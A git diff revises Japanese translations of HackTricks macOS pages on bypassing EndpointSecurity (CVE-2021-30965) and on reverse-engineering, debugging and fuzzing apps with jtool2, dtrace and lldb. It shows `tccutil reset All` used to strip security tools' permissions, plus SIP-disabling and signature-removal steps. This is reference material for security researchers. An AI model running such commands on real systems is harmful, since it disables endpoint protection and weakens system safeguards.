-77,13 +77,13 @@ ESFは、レッドチームを検出しようとするセキュリティツー ### CVE-2021-30965 -セキュリティアプリケーションには**Full Disk Access権限**が必要です。したがって、攻撃者がそれを削除できれば、ソフトウェアの実行を防ぐことができます。 +重要なのは、セキュリティアプリケーションが**完全ディスクアクセス権限**を持っている必要があることです。したがって、攻撃者がそれを削除できれば、ソフトウェアの実行を防ぐことができます。 ```bash tccutil reset All ``` -**詳細情報**については、この回避策および関連するものをチェックしてください [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +**さらなる情報**については、この回避策および関連する回避策については、以下のトークをチェックしてください [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -最終的には、**`tccd`** によって管理されるセキュリティアプリに新しい権限 **`kTCCServiceEndpointSecurityClient`** を与えることで、`tccutil` がアプリの権限をクリアしないようにし、実行を妨げることが修正されました。 +最終的には、新しい権限 **`kTCCServiceEndpointSecurityClient`** を **`tccd`** によって管理されるセキュリティアプリに付与することで、`tccutil` がその権限をクリアしないようにして実行を妨げることが修正されました。 ## 参考文献 @@ -92,14 +92,14 @@ tccutil reset All
-**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください** -* **HackTricks** および **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index d7a7a5f0a..42fb0a679 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -2,31 +2,31 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、自分のハッキングテクニックを共有する +* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかを無料で確認する機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## 静的解析 @@ -50,7 +50,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb ### jtool2 -このツールは、**codesign**、**otool**、**objdump**の**代替**として使用でき、いくつかの追加機能を提供します。[**こちらからダウンロード**](http://www.newosxbook.com/tools/jtool.html)するか、`brew`を使用してインストールしてください。 +このツールは、**codesign**、**otool**、**objdump** の**代替**として使用でき、いくつかの追加機能を提供します。[**こちらからダウンロード**](http://www.newosxbook.com/tools/jtool.html)するか、`brew`を使用してインストールしてください。 ```bash # Install brew install --cask jtool2 @@ -70,7 +70,7 @@ jtool2 -d __DATA.__const myipc_server | grep MIG ### Codesign / ldid {% hint style="danger" %} -**`Codesign`** は **macOS** に、一方 **`ldid`** は **iOS** に見つかります +**`Codesign`** は **macOS** に、一方 **`ldid`** は **iOS** に見つけることができます {% endhint %} ```bash # Get signer @@ -100,12 +100,12 @@ ldid -S/tmp/entl.xml ``` ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)は、**.pkg**ファイル(インストーラー)を検査し、インストールする前に中身を確認するのに役立つツールです。\ -これらのインストーラーには、通常、マルウェアの作者が悪用する`preinstall`および`postinstall` bashスクリプトが含まれています。 +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)は、インストールする前に中身を確認するために**.pkg**ファイル(インストーラー)を検査するのに役立つツールです。\ +これらのインストーラーには、通常、マルウェア作者が悪用する`preinstall`および`postinstall` bashスクリプトが含まれており、**マルウェアを****持続化**するために悪用されます。 ### hdiutil -このツールを使用すると、Appleディスクイメージ(**.dmg**)ファイルをマウントして、実行する前にそれらを検査できます。 +このツールは、Appleディスクイメージ(**.dmg**)ファイルを**実行する前に**検査するために**マウント**することを可能にします。 ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -114,7 +114,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg #### メタデータ {% hint style="danger" %} -Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされる際に、クラス宣言を保持します。このようなクラス宣言には、以下の情報が含まれます: +Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされる際に、クラス宣言を**保持**します。このようなクラス宣言には、以下の情報が含まれます: * クラス * クラスメソッド @@ -127,17 +127,17 @@ class-dump Kindle.app ``` #### 関数の呼び出し -Objective-Cを使用するバイナリで関数が呼び出されると、コンパイルされたコードはその関数を呼び出す代わりに**`objc_msgSend`**を呼び出します。これにより最終的な関数が呼び出されます: +Objective-Cを使用するバイナリで関数が呼び出されると、コンパイルされたコードはその関数を呼び出す代わりに **`objc_msgSend`** を呼び出します。これにより最終的な関数が呼び出されます: -![](<../../../.gitbook/assets/image (302).png>) +![](<../../../.gitbook/assets/image (305).png>) この関数が期待するパラメータは次のとおりです: -- 最初のパラメータ (**self**) は、「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言うと、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス(全体として)になり、インスタンスメソッドの場合、selfはクラスのインスタンスとしてインスタンス化されたインスタンスを指します。 -- 2番目のパラメータ (**op**) は、「メッセージを処理するメソッドのセレクタ」です。単純に言うと、これは**メソッドの名前**です。 -- 残りのパラメータは、メソッドで必要な**値**です(op)。 +* 最初のパラメータ (**self**) は、「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言うと、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス(全体として)になりますが、インスタンスメソッドの場合、selfはクラスのインスタンスとしてインスタンス化されたインスタンスを指します。 +* 2番目のパラメータ (**op**) は、「メッセージを処理するメソッドのセレクタ」です。単純に言うと、これは**メソッドの名前**です。 +* 残りのパラメータは、メソッドで必要な**値**です(op)。 -ARM64で`lldb`を使用してこれらの情報を簡単に取得する方法を以下のページで確認してください: +ARM64で`lldb`を使用してこの情報を簡単に取得する方法を以下のページで確認してください: {% content-ref url="arm64-basic-assembly.md" %} [arm64-basic-assembly.md](arm64-basic-assembly.md) @@ -145,21 +145,21 @@ ARM64で`lldb`を使用してこれらの情報を簡単に取得する方法を x64: -| **引数** | **レジスタ** | **(for) objc\_msgSend** | -| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ | -| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** | -| **2番目の引数** | **rsi** | **op: メソッドの名前** | -| **3番目の引数** | **rdx** | **メソッドへの最初の引数** | -| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** | -| **5番目の引数** | **r8** | **メソッドへの3番目の引数** | -| **6番目の引数** | **r9** | **メソッドへの4番目の引数** | -| **7番目以降の引数** |

rsp+
(スタック上)

| **メソッドへの5番目以降の引数** | +| **引数** | **レジスタ** | **(objc\_msgSend用)** | +| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | +| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** | +| **2番目の引数** | **rsi** | **op: メソッドの名前** | +| **3番目の引数** | **rdx** | **メソッドへの第1引数** | +| **4番目の引数** | **rcx** | **メソッドへの第2引数** | +| **5番目の引数** | **r8** | **メソッドへの第3引数** | +| **6番目の引数** | **r9** | **メソッドへの第4引数** | +| **7番目以降の引数** |

スタック上の
rsp+

| **メソッドへの第5引数以降** | ### Swift -Swiftバイナリでは、Objective-Cとの互換性があるため、[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出することができますが、常にではありません。 +Swiftバイナリでは、Objective-C互換性があるため、[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出することができますが、常にではありません。 -**`jtool -l`**または**`otool -l`**コマンドラインを使用すると、**`__swift5`**接頭辞で始まる複数のセクションを見つけることができます: +**`jtool -l`** または **`otool -l`** コマンドラインを使用すると、**`__swift5`** 接頭辞で始まる複数のセクションを見つけることができます。 ```bash jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO @@ -171,9 +171,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -さらなる情報は、[**このブログポスト**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)でこれらのセクションに保存されている情報について見つけることができます。 +さらなる情報は、[**このブログ投稿**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)でこのセクションに保存されている情報について見つけることができます。 -さらに、**Swift バイナリにはシンボルが含まれる可能性があります**(たとえば、ライブラリは関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれており、見た目は醜いですが、非常に役立ちます。**そして、**"デマングラー"**と呼ばれるものがあり、元の名前を取得できます。 +さらに、**Swift バイナリにはシンボルが含まれる可能性があります**(たとえば、ライブラリは関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれており、見た目が醜いため、非常に役立ちます。**そして、**"デマングラー"**が元の名前を取得できます。 ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -190,46 +190,46 @@ swift demangle ## ダイナミック解析 {% hint style="warning" %} -バイナリをデバッグするには、**SIPを無効にする**必要があります(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーして`codesign --remove-signature `で署名を削除するか、バイナリのデバッグを許可します([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます) +バイナリをデバッグするには、**SIPを無効にする必要がある**(`csrutil disable`または`csrutil enable --without debug`)か、バイナリを一時フォルダにコピーして`codesign --remove-signature `で署名を削除するか、バイナリのデバッグを許可する([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます) {% endhint %} {% hint style="warning" %} -macOSで`cloudconfigurationd`などの**システムバイナリ**を**インストールする**には、**SIPを無効にする**必要があります(署名を削除するだけでは機能しません)。 +macOSの**システムバイナリ**(例:`cloudconfigurationd`など)を**インストールする**には、**SIPを無効にする必要がある**(単に署名を削除するだけでは機能しません)。 {% endhint %} ### 統合ログ -MacOSは多くのログを生成しますが、これらはアプリケーションを実行して**何をしているか**を理解しようとする際に非常に役立ちます。 +MacOSは多くのログを生成し、アプリケーションを実行する際に非常に役立ちます。 -さらに、一部のログには``というタグが含まれ、一部の**ユーザー**や**コンピューター**の**識別可能な**情報を**非表示**にします。ただし、**この情報を開示するための証明書をインストール**することが可能です。[こちら](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。 +さらに、一部のログには、**ユーザー**や**コンピューター**の**識別可能な**情報を**非表示**にするための``タグが含まれています。ただし、この情報を開示するために**証明書をインストール**することが可能です。[こちら](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。 ### Hopper #### 左パネル -Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはすべての文字列ではありませんが、Mac-Oファイルのさまざまな部分で定義されているものです(例:_cstringまたは`objc_methname`)。 +Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはMac-Oファイルのさまざまな部分で定義された文字列のすべてではありませんが、(例:_cstringまたは`objc_methname`)。 #### 中央パネル -中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生の**逆アセンブル、**グラフ**、**逆コンパイル**、**バイナリ**を見ることができます。それぞれのアイコンをクリックして切り替えます: +中央パネルでは、**逆アセンブルされたコード**を見ることができます。そして、**生の**逆アセンブル、**グラフ**、**逆コンパイル**、**バイナリ**を見ることができます。それぞれのアイコンをクリックして: -
+
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照/参照元**を見ることができます。また、その名前を変更することもできます(逆コンパイルされた擬似コードでは機能しません): -
+
さらに、**中央下部にPythonコマンドを記述**することができます。 #### 右パネル -右パネルでは、**ナビゲーション履歴**(現在の状況に到達するまでの経緯を把握できる)、この関数を**呼び出すすべての関数**とこの関数が**呼び出すすべての関数**を表示する**コールグラフ**、**ローカル変数**情報など、興味深い情報を見ることができます。 +右パネルでは、**ナビゲーション履歴**(現在の状況に到達するまでの経緯を把握するため)、この関数を**呼び出すすべての関数**とこの関数が**呼び出すすべての関数**を見ることができる**コールグラフ**、**ローカル変数**情報など、興味深い情報を見ることができます。 ### dtrace -これにより、ユーザーは非常に**低レベル**でアプリケーションにアクセスでき、プログラムを**トレース**したり、実行フローを変更したりする方法を提供します。 Dtraceは、システムコールの開始と終了などの場所に配置される**プローブ**を使用します。 +これにより、ユーザーは非常に**低レベル**でアプリケーションにアクセスでき、プログラムを**トレース**したり、実行フローを変更したりする方法が提供されます。 Dtraceは、システムコールの開始と終了などの場所に配置された**プローブ**を使用します。 -DTraceは、各システムコールの**エントリポイントと終了ポイント**でプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールのエントリポイントと終了ポイントで発火できます。DTraceとのやり取りは、ルートユーザー専用の/dev/dtraceを介して行われます。 +DTraceは、各システムコールの**エントリポイントと終了ポイント**にプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールのエントリポイントと終了ポイントで発火することができます。DTraceとのやり取りは、ルートユーザー専用の/dev/dtraceを介して行われます。 {% hint style="success" %} SIP保護を完全に無効にせずにDtraceを有効にするには、回復モードで次のコマンドを実行できます:`csrutil enable --without dtrace` @@ -300,8 +300,6 @@ printf("=%d\n", arg1); #Log sys calls with values sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ``` -### dtruss - ### dtruss ```bash dtruss -c ls #Get syscalls of ls @@ -322,7 +320,7 @@ ktrace trace -s -S -t c -c ls | grep "ls(" [**SpriteTree**](https://themittenmac.com/tools/)は、プロセス間の関係を表示するツールです。\ **`sudo eslogger fork exec rename create > cap.json`** のようなコマンドでMacを監視する必要があります(このコマンドを実行するためにはFDAが必要です)。その後、このツールでjsonをロードしてすべての関係を表示できます: -
+
### FileMonitor @@ -330,13 +328,13 @@ ktrace trace -s -S -t c -c ls | grep "ls(" ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)は、Microsoft Sysinternalの _Procmon_ からWindowsユーザーが知っている外観と感覚を持つGUIツールです。このツールを使用すると、さまざまなイベントタイプの記録を開始および停止でき、これらのイベントをファイル、プロセス、ネットワークなどのカテゴリでフィルタリングでき、記録されたイベントをjson形式で保存できます。 +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)は、WindowsユーザーがMicrosoft Sysinternalの _Procmon_ から知っている外観と感覚を持つGUIツールです。このツールを使用すると、さまざまなイベントタイプの記録を開始および停止でき、これらのイベントをファイル、プロセス、ネットワークなどのカテゴリでフィルタリングでき、記録されたイベントをjson形式で保存する機能が提供されます。 ### Apple Instruments [**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)は、Xcodeの開発者ツールの一部であり、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用されます。 -![](<../../../.gitbook/assets/image (1135).png>) +![](<../../../.gitbook/assets/image (1138).png>) ### fs\_usage @@ -347,7 +345,7 @@ fs_usage -w -f network curl #This tracks network actions ``` ### TaskExplorer -[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)は、バイナリが使用している**ライブラリ**、使用している**ファイル**、および**ネットワーク**接続を確認するのに役立ちます。\ +[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)は、バイナリが使用している**ライブラリ**、使用している**ファイル**、**ネットワーク**接続を確認するのに役立ちます。\ また、バイナリプロセスを**virustotal**に対してチェックし、バイナリに関する情報を表示します。 ## PT\_DENY\_ATTACH @@ -356,14 +354,14 @@ fs_usage -w -f network curl #This tracks network actions ### lldb -**lldb**は**macOS**バイナリのデバッグにおける事実上のツールです。 +**lldb**は**macOS**バイナリの**デバッグ**における事実上のツールです。 ```bash lldb ./malware.bin lldb -p 1122 lldb -n malware.bin lldb -n malware.bin --waitfor ``` -あなたのホームフォルダーに次の行を含むファイル**`.lldbinit`**を作成することで、lldbを使用する際にintelフレーバーを設定することができます: +次の行を含むファイル**`.lldbinit`**をホームフォルダに作成することで、lldbを使用する際にintelフレーバーを設定できます: ```bash settings set target.x86-disassembly-flavor intel ``` @@ -371,7 +369,7 @@ settings set target.x86-disassembly-flavor intel lldb内で、`process save-core`を使用してプロセスをダンプします。 {% endhint %} -
(lldb) コマンド説明
run (r)ブレークポイントがヒットするかプロセスが終了するまで続行される実行を開始します。
continue (c)デバッグ対象プロセスの実行を継続します。
nexti (n / ni)次の命令を実行します。このコマンドは関数呼び出しをスキップします。
stepi (s / si)次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。
finish (f)現在の関数("frame")内の残りの命令を実行して停止します。
control + c実行を一時停止します。プロセスが実行されている場合、プロセスは現在実行中の場所で停止します。
breakpoint (b)

b main # main関数を呼び出す

b `main # バイナリのmain関数

b set -n main --shlib # 指定されたバイナリのmain関数

b -[NSDictionary objectForKey:]

b -a 0x0000000100004bd9

br l # ブレークポイントリスト

br e/dis # ブレークポイントを有効化/無効化

breakpoint delete

help

help breakpoint # ブレークポイントコマンドのヘルプを取得

help memory write # メモリへの書き込みに関するヘルプを取得

reg

reg read

reg read $rax

reg read $rax --format format

reg write $rip 0x100035cc0

x/s メモリをヌル終端文字列として表示します。
x/i メモリをアセンブリ命令として表示します。
x/b メモリをバイトとして表示します。
print object (po)

パラメータで参照されるオブジェクトを出力します

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、「print object」(po)コマンドで表示する必要があります。意味のある出力が得られない場合は、x/bを使用してください

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 # そのアドレスにAAAAを書き込む
memory write -f s $rip+0x11f+7 "AAAA" # そのアドレスにAAAAを書き込む
disassembly

dis # 現在の関数を逆アセンブル

dis -n # 関数を逆アセンブル

dis -n -b # 関数を逆アセンブル

dis -c 6 # 6行を逆アセンブル

dis -c 0x100003764 -e 0x100003768 # 1つのアドレスからもう1つのアドレスまで

dis -p -c 4 # 現在のアドレスから逆アセンブルを開始

parrayparray 3 (char **)$x1 # x1レジスタ内の3つのコンポーネントの配列をチェック
+
(lldb) コマンド説明
run (r)ブレークポイントがヒットするかプロセスが終了するまで続行される実行を開始します。
continue (c)デバッグ対象プロセスの実行を継続します。
nexti (n / ni)次の命令を実行します。このコマンドは関数呼び出しをスキップします。
stepi (s / si)次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。
finish (f)現在の関数("frame")内の残りの命令を実行して停止します。
control + c実行を一時停止します。プロセスが実行されている場合、現在の実行位置でプロセスを停止させます。
breakpoint (b)

b main # main関数を呼び出す

b `main # バイナリのmain関数

b set -n main --shlib # 指定されたバイナリのmain関数

b -[NSDictionary objectForKey:]

b -a 0x0000000100004bd9

br l # ブレークポイントリスト

br e/dis # ブレークポイントの有効化/無効化

breakpoint delete

help

help breakpoint # ブレークポイントコマンドのヘルプを取得

help memory write # メモリへの書き込みに関するヘルプを取得

reg

reg read

reg read $rax

reg read $rax --format format

reg write $rip 0x100035cc0

x/s メモリをヌル終端文字列として表示します。
x/i メモリをアセンブリ命令として表示します。
x/b メモリをバイトとして表示します。
print object (po)

パラメータで参照されるオブジェクトを出力します

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、「print object」(po)コマンドで表示する必要があります。意味のある出力が得られない場合は、x/bを使用してください

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 # そのアドレスにAAAAを書き込む
memory write -f s $rip+0x11f+7 "AAAA" # そのアドレスにAAAAを書き込む
disassembly

dis # 現在の関数を逆アセンブル

dis -n # 関数を逆アセンブル

dis -n -b # 関数を逆アセンブル

dis -c 6 # 6行を逆アセンブル

dis -c 0x100003764 -e 0x100003768 # 1つのアドレスからもう1つのアドレスまで

dis -p -c 4 # 現在のアドレスから逆アセンブルを開始

parrayparray 3 (char **)$x1 # x1レジスタ内の3つのコンポーネントの配列をチェック
{% hint style="info" %} **`objc_sendMsg`** 関数を呼び出す際、**rsi** レジスタにはヌル終端("C")文字列としての**メソッド名**が格納されます。lldbを使用して名前を表示するには以下のようにします: @@ -388,22 +386,22 @@ lldb内で、`process save-core`を使用してプロセスをダンプします #### VM 検出 -* **`sysctl hw.model`** コマンドは、**ホストがMacOS**の場合には "Mac" を返しますが、VMの場合は異なる値を返すことがあります。 -* 一部のマルウェアは、**`hw.logicalcpu`** および **`hw.physicalcpu`** の値を操作して、VMであるかどうかを検出しようとします。 -* 一部のマルウェアは、MACアドレス(00:50:56)に基づいて **VMware** であるかどうかを検出することがあります。 +* **`sysctl hw.model`** コマンドは、ホストがMacOSの場合に "Mac" を返しますが、VMの場合は異なる値を返します。 +* 一部のマルウェアは、**`hw.logicalcpu`** と **`hw.physicalcpu`** の値を操作して、VMであるかどうかを検出しようとします。 +* 一部のマルウェアは、MACアドレス(00:50:56)に基づいてマシンがVMwareであるかどうかを検出することもできます。 * 単純なコードを使用して、プロセスがデバッグされているかどうかを検出することも可能です: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }` * **`ptrace`** システムコールを **`PT_DENY_ATTACH`** フラグとともに呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを防ぎます。 * **`sysctl`** または **`ptrace`** 関数が **インポート** されているかどうかを確認できます(ただし、マルウェアは動的にインポートする可能性があります) -* この記事に記載されているように、"[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\ -"_メッセージ「Process # exited with **status = 45 (0x0000002d)**」は、通常、デバッグ対象が **PT\_DENY\_ATTACH** を使用していることを示す兆候です_" +* この記事に記載されているように、"[アンチデバッグテクニックの克服:macOSのptrace変種](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\ +"_メッセージ「Process # exited with **status = 45 (0x0000002d)**」は、デバッグ対象が **PT\_DENY\_ATTACH** を使用していることの典型的な兆候です_" ## ファジング ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrashは、**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存**します。クラッシュレポートには、クラッシュの原因を**開発者が診断するのに役立つ情報**が含まれています。\ -ユーザーごとのlaunchdコンテキストで実行されるアプリケーションや他のプロセスの場合、ReportCrashはLaunchAgentとして実行され、クラッシュレポートはユーザーの`~/Library/Logs/DiagnosticReports/`に保存されます。\ -デーモン、システムlaunchdコンテキストで実行される他のプロセスや他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、クラッシュレポートはシステムの`/Library/Logs/DiagnosticReports`に保存されます。 +ReportCrashは、**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存**します。クラッシュレポートには、クラッシュの原因を診断するのに役立つ情報が含まれています。\ +ユーザーごとのlaunchdコンテキストで実行されるアプリケーションや他のプロセスの場合、ReportCrashはLaunchAgentとして実行され、クラッシュレポートをユーザーの`~/Library/Logs/DiagnosticReports/`に保存します。\ +デーモン、システムlaunchdコンテキストで実行される他のプロセスや他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、クラッシュレポートをシステムの`/Library/Logs/DiagnosticReports`に保存します。 クラッシュレポートが**Appleに送信されるのを心配**している場合は、それらを無効にすることができます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを特定するのに役立つ**かもしれません。 ```bash @@ -417,7 +415,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root. ``` ### スリープ -MacOSでのファジング中は、Macがスリープモードに入らないようにすることが重要です: +MacOSでのFuzzing中は、Macがスリープモードに入らないようにすることが重要です: * systemsetup -setsleep Never * pmset、システム環境設定 @@ -425,7 +423,7 @@ MacOSでのファジング中は、Macがスリープモードに入らないよ #### SSHの切断 -SSH接続を介してファジングを行っている場合は、セッションが切断されないようにすることが重要です。そのために、sshd_configファイルを以下のように変更してください: +SSH接続を介してFuzzingを行う場合は、セッションが切断されないようにすることが重要です。そのために、sshd_configファイルを以下のように変更します: * TCPKeepAlive Yes * ClientAliveInterval 0 @@ -434,9 +432,9 @@ SSH接続を介してファジングを行っている場合は、セッショ sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` -### 内部ハンドラ +### インターナルハンドラ -**以下のページ**をチェックして、指定されたスキームやプロトコルを処理するアプリを特定する方法を見つけてください: +**次のページ**をチェックして、**指定されたスキームやプロトコルを処理するアプリ**を特定する方法を見つけてください: {% content-ref url="../macos-file-extension-apps.md" %} [macos-file-extension-apps.md](../macos-file-extension-apps.md) @@ -444,13 +442,15 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ### ネットワークプロセスの列挙 -ネットワークデータを管理しているプロセスを見つけるのは興味深いです: +これは興味深いです。ネットワークデータを管理しているプロセスを見つけるために: ```bash dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log #wait some time sort -u recv.log > procs.txt cat procs.txt ``` +または`netstat`または`lsof`を使用します + ### Libgmalloc
